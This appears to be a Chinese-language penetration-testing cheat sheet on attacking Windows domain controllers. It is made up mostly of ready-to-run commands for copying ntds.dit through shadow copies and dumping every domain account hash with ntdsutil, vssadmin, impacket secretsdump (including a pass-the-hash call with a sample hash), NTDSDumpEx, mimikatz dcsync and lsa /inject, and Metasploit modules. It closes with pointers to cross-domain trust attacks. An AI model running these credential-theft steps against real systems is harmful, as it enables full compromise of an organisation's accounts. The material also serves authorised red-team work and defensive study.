域控安全
一、提取ntds.dit
利用ntdsutil.exe提取
域环境默认安装,支持系统:Server 2003、2008、2012
1 2 3 4 5 6 7 8 9 10 11 12
| # 创建快照 ntdsutil snapshot "activate instance ntds" create quit quit # 查询快照 ntdsutil snapshot "List All" quit quit # 查询已挂载快照 ntdsutil snapshot "List Mounted" quit quit # 挂载快照 ntdsutil snapshot "mount GUID" quit quit # 卸载快照 ntdsutil snapshot "unmount GUID" quit quit # 删除快照 ntdsutil snapshot "delete GUID" quit quit
|
利用vssadmin提取
域环境默认安装,支持系统:Server 2008、2012
1 2 3 4 5 6
| # 查询当前系统的快照 vssadmin list shadows # 创建c盘的快照 vssadmin create shadow /for=c: # 删除快照 vssadmin delete shadows /for=c: /quiet
|
利用vssown.vbs提取
系统默认不支持,可在Microsoft Windows Software Development Kit (SDK)中获得该工具
64位系统需要使用64位的vshadow.exe,不同系统可供使用的vshadow.exe下载地址:http://edgylogic.com/blog/vshadow-exe-versions/。
1 2 3 4 5 6 7
| # 查询当前系统的快照 vshadow.exe -q # 创建快照,-p persistent,备份操作或是重启系统不会删除;-nw no writers,用来提高创建速度;C: 对应c盘 vshadow.exe -p -nw C: # 删除快照 vshadow -dx=ShadowCopySetId vshadow -ds=ShadowCopyId
|
二、导出ntds.dit的域账号及域散列值
使用esedbexport恢复ntds.dit并用ntdsxtract导出散列值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar apt-get install autoconf automake autopoint libtool pkgconfig ./configure make sudo make install sudo 1dconfig
esedbexport -m tables ntds.dit
git clone https://github.com/csababarta/ntdsxtract python setup.py build && python setup.py install
python dsusers.py datatable.3 link_table.5 output --syshive SYSTEM -–passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt
python dscomputers.py datatable.3 computer_output --csvoutfile all_computers.csv
|
使用impacket工具包导出散列值
1 2 3 4
| impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 -just-dc PAYLOAD/administrator\@192.168.190.130
|
使用NTDSDumpex.exe导出域账号和域散列值
NTDSDumpex.exe下载地址:https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip
1 2
| # 将ntds.dit、NTDSDumpex.exe、system.hive 放在同一目录下,执行命令即可导出域账号和散列值。 NTDSDumpEx.exe -d ntds.dit -s system.hive -o hash.txt
|
利用dcsync获取域散列值
有两种方法,mimikatz包含了dcsync,另外就是Invoke-DCSync.ps1脚本
mimikatz:
1 2 3 4 5 6 7 8
| # 注意:必须使用域管理员权限运行mimikatz才可以 # 导出域内所有用户名及散列值 lsadump::dcsync /domain:pentest.com /all /csv # 导出指定用户散列值 lsadump::dcsync /domain:pentest.com /user:Dm # 在域控运行mimikatz,通过lsass.exe对散列值进行dump操作 privilege::debug lsadump::lsa /inject
|
Invoke-DCSync.ps1脚本:
下载地址:https://gist.github.com/monoxgas/9d238accd969550136db
1
| Invoke-DCSync -PWDumpFormat
|
使用MSF获取域散列值
psexec_ntdsgrab模块
1 2 3
| use auxiliary/admin/smb/psexec_ntdsgrab set RHOST、SMBDomain、SMBUser、SMBPass exploit
|
配合meterpreter会话导出散列值:前提获取了meterpreter会话
1 2 3
| use /windows/gather/credentials/domain_hashdump set session id exploit
|
其它方法
另外还可以使用vshadow.exe和QuarksPwDump.exe导出
利用域信任关系的跨域攻击
跨域攻击通常有以下几种方法:
- 常规渗透方法(如Web漏洞)
- 利用已知域散列值进行哈希传递PTH或票据传递PTT攻击(如相同的域控管理员密码)
- 利用域信任关系进行跨域攻击
对第三种方法的学习,可参考https://www.anquanke.com/post/id/152382 https://www.c0bra.xyz/2021/02/17/%E5%9F%9F%E6%B8%97%E9%80%8F-SID-History%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E5%8F%8A%E5%9F%9F%E4%BF%A1%E4%BB%BB%E6%94%BB%E5%87%BB/。